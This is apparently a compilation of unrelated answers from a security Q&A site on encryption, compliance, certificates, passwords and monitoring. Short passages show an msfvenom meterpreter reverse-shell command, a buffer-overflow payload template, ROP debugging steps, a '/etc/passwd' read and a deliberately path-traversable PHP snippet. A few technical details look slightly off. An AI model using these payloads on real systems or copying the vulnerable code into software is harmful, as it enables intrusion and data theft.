Now, assuming that you're going to do a one-time migration, you're going to have to use ALL these keys at the same time, twice: once during export and once during import. This means that your window of vulnerability will not actually be reduced: there is few chances that one of these keys could be compromised without ALL of them being compromised.

So, in my opinion, I don't think that generating different keys for different rows will grant you any significant improvement in security but I'm pretty sure it will make your job harder.


msfvenom -p windows/x64/meterpreter/reverse_tcp **LHOST=192.168.x.x** LPORT=4444 -f -exe

You're using msfvenom here to generate code to attain a reverse shell on the target, you aren't passing the attacking machine's ip to it once it's generated or in your case, compiled as an executable if that makes sense.


How to check a public RSA key file is well formed?

I found a satisfying answer in an answer to Stack Overflow question How to check a public RSA key file.


There was a presentation at BlackHat Europe 2015 about weaknesses in Lastpass.


Would it be HIPAA compliant to share docs with EHR data between two HIPAA compliant Gsuite organizations

If as you say, both entities have entered into a business associate agreement with Google they are able to use G Suite for PHI sharing. Google supports HIPAA compliance for G Suite). Provided the method of sharing information is covered by the terms of that business associate agreement, it would be acceptable to share PHI between the two entities.
Bear in mind that no software solution can be truly HIPAA-compliant as any software solution, even if a BAA is in place, can be used in a manner that is not compliant with HIPAA Rules. Both entities would therefore need to ensure that G Suite has been configured correctly and appropriate security controls have been activated, access controls have been implemented, and an audit trail must exist.

The two entities that wish to share the PHI may also need to have a business associate agreement in place before any PHI is shared. e.g. if one is a healthcare provider and the other is a vendor.


Hashcat does 1-7 numeric characters on brute force attack when specifying 8

I assume you are talking about the Mask Attack and not Brute-force Attack which is outdated and replaced by Mask Attack.

I had to add --pwd-min=8 to the list of parameters to force it to start at 8 digits from the get-go.

Source: http://hashcat.net/forum/thread-1538.html


There are two aspects to prevent data loss of the type you are concerned about.

Deep Packet Inspection

For HTTPS which is, of course, encrypted between the source and destination, you need a security service that has, as Mark said, a certificate trusted by your users browsers. It acts as a Man-in-The-Middle and so is able to continue to inspect all of the packets going through, even those that would normally be encrypted.

Any decent system will do this dynamically based on a risk score and will white-list destinations such as personal finance sites so that you can continue to offer users a degree of privacy while ensuring organisational and unknown  traffic is monitored.
Data Loss Prevention

DLP uses rules to identify information that you might consider sensitive. Nationl Insurance numbers, credit card numbers, drivers license ids, etc.

Using a risk scoring system, the DLP will watch for sensitive information leaving (and entering if required) the organisational boundaries and provide alerts when rules are exceeded.

Clearly DLP also requires the ability to intercept encrypted communications but you will probably implement DLP in more places. Certainly in the security boundary but also on organisational computers, especially laptops and desktops. Maybe mobiles too.

DLP is particularly critical in regulated industries such as health and finance.

One thing that I personally believe critical if you plan to implement things like this is to inform all users that their traffic is being monitored. You should make sure that information is baked into any Acceptable Use Policies and Information Governance policies. You should also include it in your Terms and Conditions of Use.

If you don't do that, you open yourself to accusations of intercepting private communications. Note that organisational communications generally get special exemptions from some privacy rules since there is an expectation that corporate communications contain corporate information.

UPDATE: Lest you think this is the realm of the paranoid as @Somone Somewhere seems to, let me assure you that it isn't.

While data can be exfiltrated in a number of ways that would bypass centralised security infrastructure, it would still catch the majority of risks:

Users deliberately sending sensitive data somewhere they shouldn't. This might be for nefarious reasons though more commonly it is to send it to a less protected, non-corporate system (e.g. a home PC) to do something they are not allowed to do at work. While this may seem convenient to them, they may well be breaking the law and they are in danger of leaking the sensitive information (think about patient information, contracts, etc)
Malware. There are plenty of types of malware that attempt to exfiltrate sensitive information. Some targetted at specific industries (health records are particularly valuable) and others at general information such as banking and other finance details. Malware authors are not stupid, most malware comms is encrypted. Patterns of traffic other than genuine HTTPS can often be detected and if HTTPS traffic is identified and cannot be decrypted, that too indicates malware.

Just because a security infrastructure is not 100% effective doesn't mean that it is ineffective.

At the end of the day, your organisation needs to weigh up the risks and costs and decide what level of security is needed. Risks will take into account the value of the data you hold, any legal constraints and how much of a target you are.

When considering the legal constraints, don't forget to take into account that corporate executives may be held personally responsible for sensitive data leaks.


How to report unsuccessful attacks to the source network admins?

Don't lose your time pursuing those guys or litigating. Unless you have how to prove that you had a sizable financial loss, and you can prove the user controlling the computer that uses IP, you can not even start a litigation.

You can send a mail to abuse@, but don't hold your breath. You are putting an ISP against its client, and the ISP will defend its own client, unless you have a very strong case against the user. And even so, probably the ISP will not move a finger unless you litigate. And if you are not in Ukraine or Ireland, don't think their courts will help you.

On the other hand, blocking the IP for a couple hours will help immensely. Pairing fail2ban with iptables, and blocking any IP trying to access the admin area, or hitting too much HTTP 404 errors will protect you from most automated scans.


I would never expose an RDP service directly (without VPN or RDP gateway) to the internet. In the past, a lot of vulnerabilities in the protocol were discovered and also abused by malicious actors. The problem is that the Remotedesktop / Terminal services require high privileges to run. If there is a serious vulnerability in the RDP server (again), neither RDP settings nor user passwords or privileges will help.


No extension is strictly necessary in the SSL server certificate, but some extensions can only help:

An Authority Key Identifier extension will help clients link the certificate with the issuing CA.
A CRL Distribution Points extension (non critical) should be used to point to the URL where the CRL should be found.
An Authority Information Access extension can be used to include a pointer (URL) to the certificate for the issuing CA itself; the same extension can point to an OCSP responder, if applicable.
If a Key Usage extension is used, it should include some flags: keyAgreement and keyEncipherment for RSA keys to use with TLS_RSA_* cipher suites, digitalSignature for RSA and DSA keys to use with the TLS_DHE_* cipher suites (there is some confusion about whether keyAgreement or keyEncipherment should be used in the case of RSA-based key exchange, so it is safest to include both flags).
If you have a formally defined certificate policy, have a pointer to it (OID + download URL) included in all certificates in the path, or at least the SSL server certificate itself: it will give you some legal protection, should disputes arise.
The Subject Alt Name extension should be used to indicate the SSL server name. In the absence of such an extension, all browsers will fallback to the CN component of the subjectDN, but this extension is still nominally "preferred" (see RFC 2818 for details).

Of course, all these extensions are supposed to be enforced by the issuing CA, so if you already have the CA, there should be no extra question here.

If in doubt, consult the Internet X.509 PKI Profile. The profile defines what you should morally follow. If you fully conform to it, your certificates will work everywhere. Browsers are actually much more lenient than that.


Is this data policy sufficient for my nomadic small business?

What you've cited probably would have impressed some customers. It certainly wouldn't impress me. I won't delve into implementation details or whether you need security policy or privacy policy, because you've missed the most important item:

You don't give the end users a way to determine if their precious data is safe.

As of now, the added value of your proposition is from user's perspective just a piece of impressive text. A ten-mile-high view of it is "you'll have to trust me and only me". That's it.

For me, a minimal policy is:

  Dear customers,
  your data will be protected from misuse. External auditor will check
  the implementation (yearly/quarterly/just once). The certificate of
  compliance will be available to you at
  https://example.com/current_audit_result .

Expand on that, add the details. But don't remove the audit, because it's of major importance to users. Generally, the goal of security is to decrease the total amount of trust and/or to spread the trust among many parties. That's because "to trust somebody" is a near synonym of "to be vulnerable to somebody". Users want less of that.

For example take all your propositions like "we disconnect our computer system from the internet" and say they cover all probable attack vectors. Rational customers assume that you will actually do as promised 60% of the time. With audit, this estimate is maybe 80%. This factor multiplies every freakin point of your proposition. In scope of such example, lack of audit means twice the risk. That's a lot.


Promotional code based on numerical value

no additional field in the database - through algorithm the promotional code can be decoded back to userid

While this would usually be solved through an additional table with cross references, ideally 1:n, so that one user id can have multiple valid promotional codes, this seems to be explicitly out of scope. This also precludes self-chosen promocodes, unfortunately.

  hard to guess the userid

Ideally, it shouldn't be possible to guess the user id (and be sure you guessed right) at all.

  easy to share verbally

This might be the biggest problem with not using an additional table.

I propose the following solution:

Encrypt your user ids.

There are different encryption schemes that may yield smaller results that can be used. But if, as suggested by your restriction on changes to the database, implementation cost is a driving factor, raw rsa might be worth a look as it keeps the ciphertext relatively small and encryption libraries are readily available.

The resulting bits could be translated into natural language words, for example by using a wordlist for diceware.

Using this approach, the ciphertext would be easy to communicate (as it's a string of words) and easy to decipher (reverse translation, decrypt resulting bits).

There is however a catch: those codes might get longer than expected (depending on the chosen encryption scheme) and might pose a time penalty when it comes to typing them in.

While this yields longer (in terms of string size) codes, they are way easier to transmit verbally especially for native speakers than the result of base32, base64 or any of the usual approaches for transport encoding.

Thus, even though a 1:n table would be ideal, using a fitting encryption scheme and ending up with maybe a 3 word code might be the next best thing - and definitely easier to share verbally than the usual suspects for encoding data.


Is there any way to differentiate between a normal web request and a web service request?

I guess the key question is how is your web service secured?  If you are using an http connection for a web service, then it will need some pretty heavy security on the requests and responses itself (such as a signed incrementing HMAC) to validate message integrity.  Either way, the best bet is probably to look at the structure of the request itself.

It's really hard to give you a good answer without understanding more about how you are capable of handling routing the traffic though.  It could be as simple as setting up two different sites, one to handle the web requests and one to handle the web service.  Then each site could have different rules assigned.  If you are using a hardware device on the front end, then it would depend on the capabilities of that device.


NET::ERR_CERT_INVALID in Chrome/Opera on Linux

In Windows the CA was imported into the Trusted Roots for the User
(perhaps there is something similar on Linux?)

Yes, there is.  The method varies by distribution, but you'll want to add your self-signed CA to the appropriate directory and run the appropriate update script.  Here's an answer which outlines both Debian-ish and RedHat methods for adding a CA.


What implementations of Biometrics Encryption exist now?

They're basically suggesting that you use biometric data as a key to encrypt a larger, more random key for stronger encryption. This is similar to encrypting OpenPGP private keys with a symmetric cipher and a key derived from a passphrase. You could do the same with the output of a biometric device in place of the passphrase.

I think the real benefit to what they're proposing is not the strength of encryption, but enabling the use of biometric authenticators without actually storing the biometric data. This is similar to hashing passwords.

I think you'll find much of the industry moving away from biometrics as a single authenticator, though. They have a major flaw: you can't change biometric identifiers. The NIST Digital Identity Guidelines have a section on using biometrics for authentication that covers the topic in better detail and expertise than I could provide. But a summary over their points would be:

The false positive match on biometric scanners is still generally too high to be trustworthy
A user's biometrics are tied to their physical person, and generally do not change. While experimental technology exists to revoke a digital identity verified by biometrics, it is still early stage and note widely available
Biometrics are not secret, as they can be easily taken by lifting fingerprints or taking a photo of a person (in the case of facial recognition)

Here's a workflow that show's how biometric-based encryption works:


Trace wireless connections in airplane mode

Yes, “airplane mode” disables all methods through which the device voluntarily transmits information over wireless networks. That's the point.

The device is still emitting, of course. For example it emits visible light: all information that is displayed on the screen can be snooped by shoulder surfing or hidden cameras.

Even information that is not voluntarily emitted can sometimes be snooped. Whenever a variable current is sent over a wire, this creates an electromagnetic field; in principle, extremely precise measurements could reconstruct the data traveling on each wire. In practice, this kind of snooping is fairly easy for CRT displays (which emit a lot of radiation) and requires mildly expensive equipment for LCD. For anything smaller, it is all but impossible to discriminate between the many buses, or at least far more expensive than hiring a goon with a monkey wrench. This still leaves radiation as a side channel, but to exploit it, you really have to know what you're looking for.

For all practical purposes, a device in airplane mode used in a situation where no shoulder surfing is possible is immune to eavesdropping.

Note that if malware is present on the device, all bets are off. Malware could pretend that the device is in airplane mode when it isn't, or more simply, record data to send later.


What risks do I take using an application that always requires admin access and AV exception listing?

It sounds like poorly designed software.

It likely needs admin permissions because it is designed to save in unexpected places. The risk here is that the software has admin permissions to do anything. If an update to this program adds nasty surprises, then it has access to everything. This is not unusual, though. There are a lot of programs that require admin permissions.

Whitelisting the EXE and DLLs in your AV is just weird. I would try to give it admin permissions to see if that solves your problem before whitelisting the program. The problem here is that if a virus gets in and infects those files, then your AV has been told to ignore them. You are unprotected even if you gave the program admin permissions. Frankly, if whitelisting in AV solved the problem, I'd be leaning towards trying different AVs than whitelisting.

With admin access and AV whitelisting, the program can do anything without any controls to limit its damage. BUT you can design your system to be ok with this, too. If your computer only runs this program, is not connected to the Internet, and you backup your design files on a separate disk (which you do not leave plugged in all the time), then if something goes wrong, your risks are contained. Not ideal, but a much lower risk.


Google OAuth 2.0 and Java. Is it safe to locally store access tokens?

Taking a look at the specific source code piece(GoogleDrive.java) that handles credential file creation/initialization, I found this:

Line 449:

/** Directory to store user credentials. */
private final java.io.File DATA_STORE_DIR;

Line 473:

public GoogleDrive(Properties configuration) {
    DATA_STORE_DIR = new java.io.File("data/google/" + configuration.getProperty("account", "default"));

    try {
        // initialize the data store factory
        dataStoreFactory = new FileDataStoreFactory(DATA_STORE_DIR);
        // initialize the transport
        httpTransport = GoogleNetHttpTransport.newTrustedTransport();

    } catch (Exception e) {
        throw new RuntimeException("No se pudo inicializar la API de Google");
    }
    init();
}

Can you see the that the credential file is stored at "data/google" using a relative path on Unix-like? This means that you will not want to run this software on your /tmp directory, since the credentials could be accessible by more people that you want. If the parameter set is account=default the path shall be $CURRENT_DIR/data/google/default. This is the default behavior of java.io.File and a longer answer is found at stackexchange:

Java file path in Linux

Tips to make this thing a little safer(on the StoredCredential perspective):

Don't run java as root/admin. NEVER! There is no need for if from filesystem to network. FTP binds on a port that is higher than 1024 so, there is no need to run as root
Keep data/ under strict directory permission, like rwx only to you, the owner.

There are other security measures that you could take related to local port bind and local user that could access it(iptables), but it will get out of the scope of the question.


You're right.

From view point of the provider, a broken SIM is as good as a good SIM in a turned-off phone, in a phone without battery, or outside of the phone. The phone won't "log in" to the network anymore with the data from the SIM, and that is all the provider can know.

Unless, of course, your friend got in contact with them and told them that it is broken. And then of course, if a replacement with the same number isn't wanted (or possible), the number will get deactivated.


You will never be able to gain complete confidence in your server again, you'll have to rebuild or restore from backups. If there are critical files you don't have backed up then boot to single-user mode, get your data, then wiperola. There are no tools, scanners, or methodologies that will enable you to be sure you're hack-free. Also, you could spend much more time trying to fix it than simply rebuilding.


How to find address of system() in an executable - ROP exploit

Using print 'system@plt' is only valid if the program already has an existing function (called or not) that directly references system(). In your example that's not the case.

First, disable library randomization if you haven't done so ulimit -s unlimited

In GDB

Set a breakpoint at main
Run the program.
print system

That gives you the address for system()

From there run the exploit like you were trying.

Also, instead of posting here, you may want to ask a TA or your professor.  If you're confused, it's likely other students are too.


How to connect to a wifi network that shuts down connections

How does this shutdown system work?

Based on your description it seems it does this on a stateful firewall by preventing new connections. VPN connections are already established connections, and everything goes inside the tunnel. That's why they continue to work.

  How can I connect to the internet even after it closes all connections?

Buy an own Internet subscription without this limitation.


Using External Certificates on a network that doesn't permit outbound HTTP/S access

Revocation. OCSP and CRLs are pretty well irrelevant these days.  They are not very effective for security.  And if you can't reach the revocation authority, no problem, the browser happily ignores the network error and proceeds as if the certificates are unrevoked.  So inability to make outbound connections for OCSP or CRLs shouldn't pose a problem.

Updates.  The big one is downloading of updates (e.g., software updates, A/V updates).  I think you may want to add a whitelist to your firewall of allowed outbound connections, so that machines can still get their security updates.

For Windows updates, I think you want to allow access to TCP ports 80 and 443 on the following domains:

*.download.windowsupdate.com
*.windowsupdate.com
download.microsoft.com
ntservicepack.microsoft.com
windowsupdate.microsoft.com
*.windowsupdate.microsoft.com
wustat.windows.com
update.microsoft.com
*.update.microsoft.com
test.stats.update.microsoft.com

See also Firewall rule to allow access to windows updates or other resources on a CDN?.


An alternative to traditional passwords: is there some merit to this idea?

That sounds great to me.

The entire point of generating passwords is to pick one that is extremely hard for an attacker to guess, and easy for the authorized users to remember and type in.
Ideally a password generating process should generate such extremely hard-to-guess passwords even if the attacker knows exactly which password generating process you used ( Kerckhoffs's principle ).
If the "perfect knowledge" attacker finds it hard to guess the password, then other attackers will find it even harder.

I'm going to assume that you use a /dev/random that is not broken (it's connected to a hardware random number generator or a cryptographically secure pseudorandom number generator).

Many people seem to feel that a so-called "10-random-character password" formed from a randomly selected uppercase letter, randomly selected lowercase letters, followed by a randomly-chosen digit, a total of 10 characters long, is more than adequate for many purposes. That gives ln2( 26^9 * 10 ) = 45.6 bits of password strength.

If you completely randomly pick words from any list of 7776 words ( 6^5 words ), such as the the standard Diceware list or the easier-to-type-on-a-phone Dialdice list, and the attacker knows exactly what wordlist you use,
and your user chooses the first 4 words you select, in the order you select them, the user gets ln2( (6^5)^4 ) = 51.7 bits of password strength.

increasing randomness?

If the user hits the refresh key a random number of times, and then rolls the dice to randomly selects 4 words from among the ones you present, and then rolls the dice to shuffle those words into a random order to generate the 4-word Diceware passphrase, then (again assuming /dev/random is not broken) I can a priori calculate that it has no effect -- the user still has 51.7 bits of password strength.

If the user thinks that's not enough password strength, then I think your system should allow the user to add additional letters, symbols, words, etc.

effects of non-random selection

Your user is unlikely to make a completely random selection, but that's OK. In the worst case -- your user puts things in alphabetical order or chooses some other order, and the attacker somehow knows exactly what order that is,
you've lost -ln2( 4! ) = -4.6 bits of password strength from a 4-word Dialdice passphrase.

If we assume the user always rejects certain words, and keeps refreshing until he can make a passphrase without those words, and those words make up about 1/6 of the dictionary, and somehow the attacker knows which words those are, then for a 4-word Dialdice passphrase we've lost about -1 total bit of password strength.
(The worst case is a loss of N bits of password strength for every 2^N times the user pushes the refresh button -- but that doesn't seem to be realistic to me).

The combination of these two effects results in your users having 46.1 bits of password strength with a 4-word Dialdice passphrase -- stronger than the 10-random-character password, and much easier to memorize.

If you later think that's not enough password strength, it's pretty straightforward to increase the minimum number of words in the passphrase,
or switch to a wordlist with more words in it, or both.
(You could use the approach in "Migrate old md5 passwords to bcrypt passwords" to force everyone with old, low-strength passwords to upgrade to new, higher-strength passwords).

That sounds great to me.


Workaround:

Copy your whole database and delete all entries that the collegue doesn't need to know. Then change the password of that partial database and give it to the colleque.


asp.net+bearer token: Tampering of claims possible?

Unless you use an insecure homebrew setup of OAuth2, or you explicitly disable token validations; your tokens are cryptographically signed by the issuer.  As written in the RFC:

  The JWT MUST be digitally signed or have a Message Authentication Code (MAC) applied by the issuer.  The authorization server MUST reject JWTs with an invalid signature or MAC.

The downside of putting a lot of claims in your JWT token is that it could be "chopped off" if it exceeds some HTTP Header maximum length.  Apache is 8kB, IIS is 16kB.

So generally, stick to the use of (new) tested libraries and don't disable any token validation calls and you shouldn't have much to worry about.  If an adversary can "impersonate" a token issuer, then that's a different story.


how can I know MAC ADRESSES connected to a given AP [windows]?

Neither method requires WEP nor WPA authorized access to the network, just proximity.

In Windows I use Nirsoft WiFi Channel Monitor to expose the MAC's on a particular AP. It's a single file/no installation truly portable app.
http://www.nirsoft.net/utils/wifi_channel_monitor.html

It requires MS Netmon drivers but they're free and ready to use without a reboot:
https://blogs.technet.microsoft.com/netmon/p/downloads/

Kismet inside most LIVE Linux Distributions and always inside Kali gives an even broader view. From its pull down menus, select Clients view or just split the screen and scroll through the listed AP's to display connected systems and their MAC's.
https://tools.kali.org/wireless-attacks/kismet


How important is the usage of open_basedir on a server with multiple different PHP websites?

It adds additional protection in case of a directory traversal vulnerability. For example, consider a PHP file that looks like this:

readfile($_GET['thumbnail_path']);

Without open_basedir, this page could be used to read any file on the filesystem. Setting open_basedir prevents this, so that only files in some specific directory can be read.

However, open_basedir does not protect against someone that can run (PHP) code on the server. For example, simply running system('cat /etc/passwd') will bypass the basedir setting. Also, not all functions that handle files check the path against the open_basedir setting.


Best practices for automatic login URL's?

In addition to ensuring a token is single use, has a short expiration and that the token is sufficiently random and long:

I'd recommend limiting the number of valid tokens in existence at any given time (preferably to 1). That way your exposure to compromised codes is limited to a fixed number.
Having the code in the parameters of a GET request will expose the code in most HTTP logs (eg. browser history). This is mostly mitigated by making the codes single use, but ideally you'd only send them the login link without the code embedded and make them copy the code from the email to the login page manually.


GPG with Yubikey smart card - smart card doesn't need to be plugged in!

I had this same issue a few days ago. You'll need to export a stub of your private key to your PC. Basically, the stub tells your box that the private key is on a card and it should look for it there, then Kleopatra/GPG4Win will be able to utilize the private key properly.

EDIT:

This answer says it better than I did.

EDIT(2): Seems that link wasn't all I needed to accomplish this, in my setup it won't get stubs from the Yubikey so I had to get them from a machine that already had stubs for those subkeys (the one I created them on). I'll detail my steps here.

Generate PGP master key (using Guybrush Threepwood as the real name)

gpg2 --full-gen-key

Generate subkeys to sign, encrypt, and authenticate.

gpg2 --expert --edit-key Guybrush
addkey (follow prompts, repeat for all subkeys)

Move sub keys to card (still inside --edit-key menu) (Note: this step actually removes the subkeys from your system)

key1
keytocard
key 1
key 2
keytocard
key 2
key 3
keytocard
save

Now that the subkeys are only on your Yubikey, export private key stubs for them.

gpg2 -a -o subkeys.sec.asc --export-secret-subkeys Guybrush

Securely move subkeys.sec.asc from your generating machine to your client machine (scp/sneakernet etc).
From your client machine

gpg --import subkeys.sec.asc

Now Kleopatra ought to show an entry for Guybrush Threepwood as a private key you control, and shouldn't allow you to sign/decrypt as him unless your Yubikey is inserted and PIN entered.

You might also find this Github README useful.

Disclaimer: I'm no expert on this, so if any comments arrive disputing my advice you ought to listen to them.


What happens in IIS under the name of "certificate mapping" is always about the client certificate. In SSL (HTTPS), the server may request a certificate from the client, in which case the client sends his certificate and proves his control of the corresponding private key (this is handled in the SSL protocol; the client computes a signature on a challenge from the server). The server validates the client certificate (it verifies all the signatures on the chain, from a root CA down to the client certificate itself), and then maps that certificate on a client identity; "certificate mapping" is about that last step.

More generically, when an entity owns a certificate, then it never really needs to validate it. The server's certificate is meant for the clients, not for the server itself. From the server point of view, the server's certificate is just some opaque blob which should be sent to the clients, and the clients look at its contents.

Your certificate is for the other people.


If you are new to hunting I recommend starting out with WebGoat or Damn Vulnerable WebApp (DVWA).  This is because it frames each vulnerability nicely,  you just have to point and shoot.  You can practice exploitation, and working with a real vulnerability. "The shooting range"

There are real applications that where intentionally written to be insecure (Like the Hacme series, which is under SASS Tools).  The Dojo has a collection of these apps loaded onto a VM as well as tools to audit them.  This is really the 2nd step because now you have to find where to shoot. "Hunting on the farm"

The 3rd step is going out and finding a real application.  Search github/sourceforge/bitbucket/ect for web applications that are less than a year old and aren't that popular.   These apps will vary,  but most often then will be very insecure. "Hunting in the wild"

After that start working your way up to more popular applications,  get CVE numbers,  write exploit code, and explore newly developed exploitation techniques: exploit-db.com .  "It gets more wild..."


Protecting digital assets from insider threats

Are there any security mechanisms that can protect a company from malicious employees (think database administrators, sysadmins responsible for authentication etc) trying to steal the customer data?

Database admins, pretty much by definition, have administrative access to a database. So, technically, no, preventing that would only work if the data within the database was encrypted – and even that would still leave a lot of information that could still be pieced together (like: Oh, I see an entry for an order from anonymous customer nr. 14 ever monday at 1pm, and I know we have a phone call with customer "jack labs" every monday at 11am, soooo...).

The only thing preventing this kind of thing would be policy and monitoring. There would need to be a database access log that the database admin couldn't disable, and that would raise an alarm whenever a non-standard usage of the database happened – but in effect, that would mean you'd need a second database admin to just understand and monitor what the first one is doing.

What you have is the evil maid scenario. Bad luck.

your example is an especially easy one, however. Simply let the user's browser encrypt the file with the user's own key prior to uploading. Not much to be gained by stealing, then. Unless, of course, and that's kind of probable, the user uses actually helpful file names like "contract with jack labs.doc" or "employment offer for Troy McLure.pdf".

That's why you don't store confidential data "in the cloud" if you can't trust the cloud provider's employees (and also, the employees and governments of those running the servers of that cloud provider).

the bitcoin concept is exactly geared towards this. All transactions are logged, otherwise they didn't happen, and any wallet is cryptographically secured with a passphrase.


Most PGP implementations don't just allow to encrypt a message with the receivers key, but also allow to sign it with the senders key (this one does not).

A PGP signature is a cryptographic hash of the message encrypted with the private key of the sender. When the receiver decrypts the hash with the public key of the sender and calculates the hash of the message, these two should match.


Are the encoded messages different for the same plain text but different modulus in RSA?

For sufficiently small m and e, yes, the ciphertexts will be the same. What's more, they can be trivially decrypted.

As you say, you're not using any padding. RSA needs to be used with padding; it is not secure to encrypt unpadded values that are much smaller than the modulus size (m < n^(1/e), i.e. your message is less than the cube root of your modulus).

From Wikipedia:

  When encrypting with low encryption exponents (e.g., e = 3) and small values of the m, (i.e., m < n^1/e) the result of m^e is strictly less than the modulus n. In this case, ciphertexts can be easily decrypted by taking the eth root of the ciphertext over the integers.

This implies that the ciphertexts (m^e mod n) are going to be the same for very small messages, yes. If m^e < n1, n2, and n3, then (m^e mod n1) = (m^e mod n2) = (m^e mod n3) = m^e, and you can recover m by raising it to 1/e (taking the eth root).

See Attacks against plain RSA and check out OAEP for the usual padding algorithm.


For WPA, The authentication process is known as a four-way handshake.  It's a bit complex to describe but in short, the access point will know that there was an unsuccessful attempt to connect, but it will not know what key was actually supplied.  Fortunately, this would mean that the bogus wifi ap will not be able to figure out the key to the "real" ap.

  Both WPA2-PSK and WPA2-EAP result in a Pairwise Master Key (PMK) known
  to both the supplicant (client) and the authenticator (AP). (In PSK
  the PMK is derived directly from the password, whereas in EAP it is a
  result of the authentication process.) The four-way WPA2 handshake
  essentially makes the supplicant and authenticator prove to each other
  that they both know the PMK, and creates the temporal keys used to
  actually secure network data.

  Capturing the four-way handshake will not divulge the PMK or PSK
  (since capturing the handshake is trivial over wireless this would be
  a major vulnerability). The PMK isn't even sent during the handshake,
  instead it is used to calculate a Message Integrity Check (MIC). You
  basically need to perform a dictionary or bruteforce attack on the
  handshake until you find a password which results in the same MIC as
  in the packets.

Source: Four-way Handshake in WPA-Personal (WPA-PSK)

So you would be able to capture a "message integrity check," but you would have to perform a brute force on this MIC to figure out the password.  So in a way, yes, you CAN capture something similar to a hash, but it's still not very useful.  Plus, there is no need to set up an "evil twin" ap to capture a 4-way handshake; you can just sniff the packets out of the air.


Storing CardHolder Data using RC2 encryption

Yes, if you receive, transmit, or store cardholder data in any form, you are required to comply with PCI-DSS.  In fact, one of the things that you're required to do under PCI-DSS is encrypt that data using strong encryption.   Though I am not a PCI auditor, I would suspect that RC2 would not, if fact, be considered strong encryption, so not only are you subject to PCI-DSS, you may be violating it as well.


You want end-to-end encryption. For e-mail, you can use things like PGP. There are several e-mail hosts offering users advanced Web clients to perform end-to-end crypto with JavaScript, but any second party needs to either have their own account (for hosts that do not use PGP or similar), or their own PGP key pair if applicable: you must know a public key for any secure recipient, and a recipient must be able and willing to engage in end-to-end-encrypted correspondence in this way.

If you want an actual alternative to e-mail, Bitmessage is an option that comes with several other benefits, in particular the condition of identity bound to cryptographic key components, and there are no servers that need to host your messages distinct from any others (can't tell who a message is to/from; all nodes handle all messages, seeing if they can decrypt each message they receive). See Blinked if you are interested in exploring Bitmessage these days. There are also native clients on the main site linked above, and using it this way helps you contribute to the network.


How to properly secure a resource server, but allow public clients to have access in a machine-machine style without user interaction

Rate-Limit the API calls. Make sure every installation gets a unique ID (see UUID). Limit the calls to your API per UUID and IP to a strict limit.

But be careful: sometimes, multiple legit users use the same IP address. So you should set your limit to about 2-3 times of what a single client will consume.


Does the Heartbeat Openssl Bug also affect Servers who enforce Client Authentication?

Apparently, the affected versions of OpenSSL don't implement that "SHOULD": they honour heartbeat messages during the handshake. Yeah, OpenSSL should discard such messages until the handshake has been completed -- but it should also not return data bytes outside of its buffer, and yet it does.

Therefore, no, requiring a complete handshake with client authentication does not protect against the bug.


Putting this in the form of an answer to take advantage of extra spacing and formatting. I can't try to replicate your issue right now but here's what I would try.

Anytime I've ever written an exploit for a Buffer Overflow my code would go NOPS + EIP POINTER + NOP BUFFER + SHELLCODE

For example :

buffer = "A" * 2000 + "\x8a\x32\x4e\x4e" + "\x90" * 8 + shellcode

Where "\x8a\x32\x4e\x4e" would be your return address

Secondly, I would suggest testing for bad characters that may cause your exploit to crash. I don't see any of the usual suspects 0x00 0x0A or 0x0D but there may be a character in there that's causing the exploit to fail.

What is the purpose of "\xac\xf3\xfe\xbf"*10 code - I assume this is return address but why are you multiplying it by 10?


Finding applications vulnerable to dll preloading on windows

It’s not possible to predict an applications intention, unless you can ‘see’ into the service.

You may be able to do static code analysis of any services you have source code access to. This would allow you to see for any flaws in which you are looking for.

I don’t believe there is a tool in the OS that shows the dlls that are being referenced from a service in real time and suggesting third party tools is out of scope for answers on here.


How can I avoid putting the database password in a perl script?

The standard way is to put the credentials into a config file, and attempt to protect the config file from being more readable than the perl file.  This offers a moderate increase in security; for example, the code may be in source control and accessible to developers, the config file wouldn't be.  The code needs to be in the web server's cgi root, and possibly downloadable under certain misconfigurations, and the config file needn't be.

The ambitious way is to reversibly encrypt the credentials and put them into a config file.  Of course, anything reversibly encrypted can be decrypted.  The BladeLogic application did this, and it was trivial (<1 day) for me to de-compile their Java enough to find out the function to decrypt credentials and use it to decrypt them to my satisfaction.  Not a mark against them; that's just the name of the reversibly encrypted game.

Another option is to use OS-based authorization in concert with strictly limited database restrictions.  For example, limit the database client user's access to a set of stored procedures to limit the potential for abuse, and allow that user to access the database without a password.  This doesn't work if you're doing client-server over the network, which limits how often it's useful.  Also, people tend to look more askance at "passwordless" OS-user access than they do at writing the password down willy-nilly.  It is not completely logical, but there are standards that say all database users must have passwords, so that's that.


When something goes public (let say EME as Daniel Ruf mentioned), first it gets some specification and protocol.

The next part is the implementation, now people and companies grab the protocol and implement it.

Even if you assume EME uses a strong cipher(let say AES_256_GCM), it's simply insecure just like it's not secure. Because as you would read the specification, you would implement your own code.

At the end all of these encrypted stream/descriptor must be in plain form where the client can display, at this phase you would simply write down the plain stream/video with a common format(h265/HEVC for instance) in a file.

This situation is special for the video and audio. Or generally most rich media(not all of them)

If it was really possible, hollywood could do it of course no doubt, but it's not very logical and possible yet with the way we stream video.

daniel also mentioned more logical and reliable solution. Yes you need to just ask people nicely to respect the copyright.

Not just video, even for many other stuffs that you could get some level with 1 year of research and coding, you would keep working on the system to keep it update and updated with people's needs instead.


Detecting web app attacks by parsing log files

It depends if you're going to get a budget or not to do this. Welcome to the world of IDS/IPS and SIEMs.

My favorite tool that I used as an intern, and still use is OSSEC HIDS (Open Source Security Host-Based Intrusion Detection System).

It's a really sweet open source tool if you only need a small cluster of hosts monitored and don't have the funds to hire an entire SOC team or the budget for a giant, fully-supported SIEM like FireEye or ArchSight. You can pretty write your own rules (in XML) and it allows you to generate alerts based on those rules. You also set the directory paths you want monitored (i.e., var/adm/log or /var/syslog etc).

For a UI, you can use OSSEC's Web UI and host it on a server with apache. Also, you will need to know what you are looking for in order to write the rules, but there are tricks around this. You can set rules to look for the word "failed" that occurs more than 3 times in 60 seconds to generate an alert (just one example).

Hope that helps.


I need a good cryptography algorithm that can be encoded and decoded

If you're putting a binary on an untrusted computer, and that binary needs to access sensitive information like database passwords, there is literally nothing you can do to ensure the privacy of that information. You can slow attackers down, but if an attacker could do significant damage with those database credentials, your architecture is fundamentally flawed.

For instance, the best you can probably do is to use something like AES-128-GCM to encrypt the credentials. But you also have to disguise the key: typically, this means obfuscating it by "generating" the key through a deterministic process like performing some computations, XORing the result against some fixed data, and appending and shuffling that with the results of other computations.

But now you still have problems. The key itself will be in memory, and once decrypted, so will the database password. And you really can't stop a user from viewing the contents of their own computer's memory.

